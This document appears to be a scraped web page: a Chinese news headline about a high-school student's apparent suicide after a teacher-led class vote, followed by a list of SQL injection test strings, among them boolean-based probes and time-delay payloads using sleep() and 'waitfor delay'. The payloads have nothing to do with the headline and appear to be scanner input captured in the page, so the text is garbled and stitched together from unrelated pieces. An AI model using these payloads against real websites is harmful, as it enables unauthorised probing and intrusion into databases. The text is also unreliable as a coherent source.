班主任发动公决 一高中生疑因不堪压力自杀

-1 OR 2+781-781-1=0+0+0+1 --

-1 OR 2+362-362-1=0+0+0+1

-1' OR 2+759-759-1=0+0+0+1 --

-1' OR 2+274-274-1=0+0+0+1 or 'P3TgWo6g'='

-1" OR 2+702-702-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)/*'XOR(if(now()=sysdate(),sleep(15),0))OR'"XOR(if(now()=sysdate(),sleep(15),0))OR"*/

(select(0)from(select(sleep(5)))v)/*'+(select(0)from(select(sleep(5)))v)+'"+(select(0)from(select(sleep(5)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:5' --